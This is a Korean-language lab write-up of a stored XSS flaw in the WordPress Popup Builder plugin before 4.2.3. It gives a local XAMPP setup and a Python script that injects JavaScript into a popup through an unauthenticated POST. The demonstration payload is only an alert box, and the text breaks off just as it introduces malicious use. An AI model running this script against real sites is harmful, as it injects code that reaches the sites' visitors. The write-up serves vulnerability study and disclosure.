
이 취약점은 WordPress 팝업 플러그인의 XSS 결함을 보여주며, 공격자가 저장형 XSS를 통해 악성 JavaScript를 주입할 수 있도록 합니다.
이 취약점은 공격자가 WordPress Popup Builder 플러그인의 교차 사이트 스크립팅(XSS) 결함을 악용할 수 있도록 합니다. 플러그인이 일반 방문자가 기존 팝업을 수정하는 것을 막지 못하며, 공격자가 특수하게 조작된 요청을 서버에 보내면 악성 스크립트를 팝업에 주입할 수 있으며, 사용자가 팝업과 상호작용할 때 해당 스크립트가 실행됩니다.
이 POC에서는 팝업의 열림 동작을 조작하여 취약점이 트리거되며, 간단한 알림 스크립트가 팝업이 열릴 때 실행되도록 주입됩니다. 이러한 유형의 공격은 승인되지 않은 중요한 정보 접근, 영향을 받은 웹사이트의 추가 악용, 사용자 데이터 또는 전체 사이트 손상 등 다양한 문제로 이어질 수 있습니다.
이 POC에서는 Windows 10 머신을 사용하여 XAMPP를 다운로드할 수 있습니다: https://www.apachefriends.org/download.html
설치 후 Apache와 MySQL 모듈을 켜야 합니다:

WordPress는 대부분의 콘텐츠 관리 시스템과 마찬가지로 모든 필수 데이터를 저장할 데이터베이스가 필요합니다. 우리가 생성할 SQL 데이터베이스는 이 모든 정보의 중앙 저장소 역할을 합니다.
취약한 버전의 Popup Builder 플러그인은 공식 사이트에서 다운로드할 수 있습니다: https://wordpress.org/plugins/popup-builder/advanced/
4.2.3에서 수정되기 이전의 오래된 버전을 선택하세요:

그런 다음 WordPress 관리자 페이지(http://localhost/wordpress/wp-login.php)로 이동합니다.
Plugins -> Add New Plugin -> Upload Plugin -> 다운로드한 .ZIP 파일을 선택하여 설치
WordPress 관리자 페이지에서 Pages -> Add New Page -> Choose a Pattern으로 이동하여 간단한 프론트 페이지를 만들 수 있습니다.
팝업의 경우 Popup Builder -> Add New -> 유형 선택 및 사용자 지정으로 이동합니다.
이 POC에서는 구독 팝업을 선택했습니다. 이는 오늘날 웹사이트에서 가장 흔히 볼 수 있는 팝업 중 하나이기 때문입니다.

Display Rules 탭에서 팝업을 프론트 페이지에 연결할 수 있습니다:

이제 http://localhost/wordpress/ 로 프론트 페이지에 접속하면
팝업이 트리거되는 것을 볼 수 있습니다.
익스플로잇을 실행하려면 먼저 팝업 ID를 식별해야 합니다.
이는 사이트로 이동하여 팝업을 트리거하고 개발자 도구의 Network 탭을 열어 수행할 수 있습니다.
admin-ajax.php 요청을 찾으세요. 이는 AJAX 요청을 처리하는 WordPress 핵심 구성 요소입니다.
Popup Builder는 이를 활용하여 WordPress 내에서 팝업 저장, 업데이트, 미리보기, 제어 등의 기능을 관리합니다.
Payload 탭에서 팝업 ID를 찾을 수 있습니다:

팝업 ID를 찾은 후 다음 스크립트를 사용하여 익스플로잇을 트리거할 수 있습니다:
import requests
# 취약한 사이트의 대상 URL 정의
url = "http://localhost/wordpress/"
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
data = {
"sgpb-is-preview": "1",
"post_ID": "22", #찾은 팝업 ID 사용
"sgpb-type": "html",
"sgpb-WillOpen": "alert('Stored XSS Executed Successfully');" #사용자 정의 JS 코드 입력
}
# POST 요청 전송 및 결과 출력
response = requests.post(url, data=data)
print(response.text)
팝업을 편집할 수 있으므로 사용자 정의 JS의 트리거 타이밍도 제어할 수 있습니다. WordPress 관리자 페이지의 팝업 설정에서 "Custom JS or CSS" 옵션을 볼 수 있으며, 이를 통해 사용자 정의 코드의 타이밍을 제어할 수 있습니다:

그런 다음 원하는 용도에 따라 이를 스크립트에 통합할 수 있습니다.
스크립트를 트리거한 후 WordPress 관리자 페이지에서 팝업의 사용자 지정 JS 섹션에 새 줄이 추가된 것을 볼 수 있습니다:

이제 일반 사용자로 사이트에 접속하면 다음과 같은 메시지가 표시되는 것을 볼 수 있습니다:

또한 메시지가 SQL 데이터베이스(기본적으로 wp_postmeta 테이블)에 저장된 것을 확인할 수 있으며, 이는 저장형 XSS임을 확인합니다:

Popup Builder 플러그인의 이 저장형 XSS 취약점은 공격자가 사용자가 감염된 팝업과 상호작용할 때마다 실행될 수 있는 악성 JavaScript를 삽입할 수 있게 합니다. 다음은 악의적으로 이를 악용하는 방법입니다: